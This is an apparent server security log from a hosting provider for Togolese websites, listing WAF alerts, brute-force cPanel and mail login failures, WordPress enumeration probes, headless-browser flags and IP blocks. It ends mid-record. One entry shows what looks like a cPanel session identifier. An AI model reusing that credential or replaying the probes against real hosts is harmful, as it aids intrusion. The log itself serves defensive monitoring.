IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13463,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-25-at-06.29.39-1024x1024.jpeg\" alt=\"\" class=\"wp-image-13463\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong><em>la commune des lacs 1 en collaboration avec le centre urbain de business et d'entrepreneuriat (cube), organise dans le cadre des vacances socolaires 2026, une formation d'initiation \xc3\xa0 l'informatique \xc3\xa0 l'intention des coll\xc3\xa9giens et lyc\xc3\xa9ens d'an\xc3\xa9ho et de ses environs. plus de d\xc3\xa9tails \xc3\xa0 lire dans le communiqu\xc3\xa9 ci-dessus. </em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13464,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"comminique_n.017\"></object><a id=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\">comminique_n.017</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>contact : communication@lacs1.mairie.tg/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: misstogo.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; SM-A225F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.5 ByteLocale/en ByteFullLocale/en Region/GB Spark/1.1.9.4-bugfix AppVersion/26.4.5 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 25 13:44:18 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [25/Jun/2026:13:44:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199557&pdata=https%253A%252F%252Fwww.misstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782395048 HTTP/2.0" 302 0 www.misstogo.tg "https://www.misstogo.tg/" "Mozilla/5.0 (Linux; Android 13; SM-A225F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.5 ByteLocale/en ByteFullLocale/en Region/GB Spark/1.1.9.4-bugfix AppVersion/26.4.5 PIA/1.4.3 BytedanceWebview/d8a21c6" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.208.141.244
country_id: 2245662
description:
[2026-06-25 13:44:53 +0000] info [cpaneld] 41.208.141.244 - cfmitg "GET /login/?login_only=1&user=cfmitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.242.162.100
country_id: 3585968
description:
[2026-06-25 13:45:01 +0000] info [cpaneld] 190.242.162.100 - cf "GET /login/?login_only=1&user=cf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 13:44:40 +0000] info [cpaneld] 109.123.235.99 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.255.138.250
country_id: 3469034
description:
[2026-06-25 13:44:48 +0000] info [cpaneld] 138.255.138.250 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 25 13:44:25 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 25 13:45:50 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.118.239.210
country_id: 3469034
description:
[2026-06-25 13:46:46 +0000] info [cpaneld] 138.118.239.210 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.92.77
country_id: 1512440
description:
[2026-06-25 13:46:53 +0000] info [cpaneld] 213.230.92.77 - fomdatg "GET /login/?login_only=1&user=fomdatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomdatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.99.175.121
country_id: 2589581
description:
[2026-06-25 13:47:00 +0000] info [cpaneld] 41.99.175.121 - fomd "GET /login/?login_only=1&user=fomd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 13:47:06 +0000] info [cpaneld] 109.123.235.99 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.61.246.214
country_id: 3686110
description:
[2026-06-25 13:46:49 +0000] info [cpaneld] 181.61.246.214 - fomda "GET /login/?login_only=1&user=fomda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomda (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.183.152.34
country_id: 2017370
description:
[2026-06-25 13:47:03 +0000] info [cpaneld] 5.183.152.34 - fom "GET /login/?login_only=1&user=fom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.110.179.89
country_id: 3865483
description:
[2026-06-25 13:47:07 +0000] info [cpaneld] 190.110.179.89 - fo "GET /login/?login_only=1&user=fo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.221.82.51
country_id: 3144096
description:
[2026-06-25 13:49:46 +0000] info [cpaneld] 92.221.82.51 - djama "GET /login/?login_only=1&user=djama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djama (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.31.248.172
country_id: 2635167
description:
[2026-06-25 13:49:57 +0000] info [cpaneld] 62.31.248.172 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.3.187
country_id: 3895114
description:
[2026-06-25 13:49:42 +0000] info [cpaneld] 45.4.3.187 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.109.219.105
country_id: 783754
description:
[2026-06-25 13:49:48 +0000] info [cpaneld] 192.109.219.105 - djamatg "GET /login/?login_only=1&user=djamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djamatg (has_cpuser_file failed)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 41.248.0.136
country_id: 2542007
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:cfpjusti||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 41.248.0.136
country_id: 2542007
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:cfpjusti||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 25 13:51:30 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 41.248.0.136
country_id: 2542007
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:cfpjusti||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.140
country_id: 1880251
description:
47.128.121.140 - - [25/Jun/2026:13:53:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079400&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fintegration-economique-le-togo-joue-un-role-actif-en%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782395579 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/integration-economique-le-togo-joue-un-role-actif-en/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.140


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.13.11
country_id: 3625428
description:
[2026-06-25 13:53:44 +0000] info [cpaneld] 190.6.13.11 - cogeris "GET /login/?login_only=1&user=cogeris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeris (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.10.23.66
country_id: 3469034
description:
[2026-06-25 13:53:32 +0000] info [cpaneld] 177.10.23.66 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.33.66.229
country_id: 3469034
description:
[2026-06-25 13:53:41 +0000] info [cpaneld] 177.33.66.229 - cogerisqtg "GET /login/?login_only=1&user=cogerisqtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisqtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.6.78
country_id: 99237
description:
[2026-06-25 13:53:52 +0000] info [cpaneld] 169.224.6.78 - coger "GET /login/?login_only=1&user=coger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.236.68.95
country_id: 2017370
description:
[2026-06-25 13:54:00 +0000] info [cpaneld] 77.236.68.95 - cog "GET /login/?login_only=1&user=cog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.177.201.222
country_id: 290557
description:
[2026-06-25 13:54:03 +0000] info [cpaneld] 109.177.201.222 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.47.33.226
country_id: 1522867
description:
[2026-06-25 13:53:47 +0000] info [cpaneld] 92.47.33.226 - cogeri "GET /login/?login_only=1&user=cogeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeri (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.181.154.231
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.181.154.231: 80 connections per 30 seconds to 2096 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.70
country_id: 1814991
description:
27.115.124.70 - - [25/Jun/2026:13:55:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170964&pdata=https%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782395748 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.70


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 23.23.130.32
country_id: 6252001
domain: www.koko.kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.130.120
country_id: 6252001
domain: zephyr.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:161.123.130.120||TA:161.123.130.120||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 13:59:56 +0000] info [cpaneld] 37.130.84.20 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.90.77
country_id: 3865483
description:
Jun 25 14:01:38 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.90.77 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.48.70.237
country_id: 1210997
description:
182.48.70.237 - - [25/Jun/2026:14:02:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6528415&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-300715netid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396151 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-300715netid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.48.70.237


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.27.227
country_id: 294640
description:
2026-06-25 14:02:54 dovecot_plain authenticator failed for H=(flist) [109.226.27.227]:35377: 535 Incorrect authentication data (set_id=contact@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.200
country_id: 3865483
description:
Jun 25 14:04:07 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 14:03:26 +0000] info [cpaneld] 109.123.235.99 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.9.203
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.84.91.71
country_id: 1819730
description:
[2026-06-25 14:04:48 +0000] info [cpaneld] 103.84.91.71 NEW wcnyaruu:rgPuTk5Ekl7ko4Fa address=103.84.91.71,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [25/Jun/2026:14:07:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169685&pdata=http%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396426 HTTP/1.1" 302 0 crepsad.tg "http://crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-25 14:07:20 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [25/Jun/2026:14:07:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947798&pdata=https%253A%252F%252Fwww.cato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396474 HTTP/2.0" 302 0 www.cato.tg.saisine-cato.tg "https://www.cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [25/Jun/2026:14:08:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118758&pdata=https%253A%252F%252Fcato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396488 HTTP/2.0" 302 0 cato.tg.saisine-cato.tg "https://cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [25/Jun/2026:14:08:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671829&pdata=http%253A%252F%252Fwww.cato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396490 HTTP/1.1" 302 0 www.cato.tg.saisine-cato.tg "http://www.cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-25 14:07:22 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess2001961698/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 178.20.212.174
country_id: 241170
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:178.20.212.174||TA:178.20.212.174||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [25/Jun/2026:14:08:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803930&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finternet-society-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396523 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/internet-society-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.208.247.228
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.226.230.179
country_id: 6252001
domain: www.lasnbt.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.192.164.217
country_id: 6252001
domain: www.lasnb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.192.164.217
country_id: 6252001
domain: www.lasnb-togo.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.60.177.62
country_id: 6252001
domain: ruralinfos.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/shop/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.132.57.123
country_id: 6252001
description:
34.132.57.123 - - [25/Jun/2026:14:14:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671521&pdata=https%253A%252F%252Fwww.cato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782396871 HTTP/2.0" 302 0 www.cato.tg.saisine-cato.tg "https://www.cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.132.57.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.72.249.176
country_id: 2017370
description:
[2026-06-25 14:16:11 +0000] info [cpaneld] 46.72.249.176 - ek "GET /login/?login_only=1&user=ek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ek (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.5.155.154
country_id: 3469034
description:
[2026-06-25 14:15:55 +0000] info [cpaneld] 191.5.155.154 - ekinam "GET /login/?login_only=1&user=ekinam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.139.71.225
country_id: 3996063
description:
[2026-06-25 14:15:37 +0000] info [cpaneld] 189.139.71.225 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.28.213.125
country_id: 3895114
description:
[2026-06-25 14:15:46 +0000] info [cpaneld] 200.28.213.125 - ekinamagtg "GET /login/?login_only=1&user=ekinamagtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinamagtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.195.80.18
country_id: 2017370
description:
[2026-06-25 14:16:08 +0000] info [cpaneld] 37.195.80.18 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.49.51.88
country_id: 3658394
description:
[2026-06-25 14:16:00 +0000] info [cpaneld] 179.49.51.88 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.49.153.172
country_id: 3996063
description:
[2026-06-25 14:18:33 +0000] info [cpaneld] 38.49.153.172 - cafeit "GET /login/?login_only=1&user=cafeit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.198.53
country_id: 3658394
description:
[2026-06-25 14:18:48 +0000] info [cpaneld] 157.100.198.53 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.121.122.191
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.162.67.137
country_id: 2017370
description:
[2026-06-25 14:18:36 +0000] info [cpaneld] 31.162.67.137 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.67.186
country_id: 290557
description:
[2026-06-25 14:18:52 +0000] info [cpaneld] 86.97.67.186 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.151.24.48
country_id: 3595528
description:
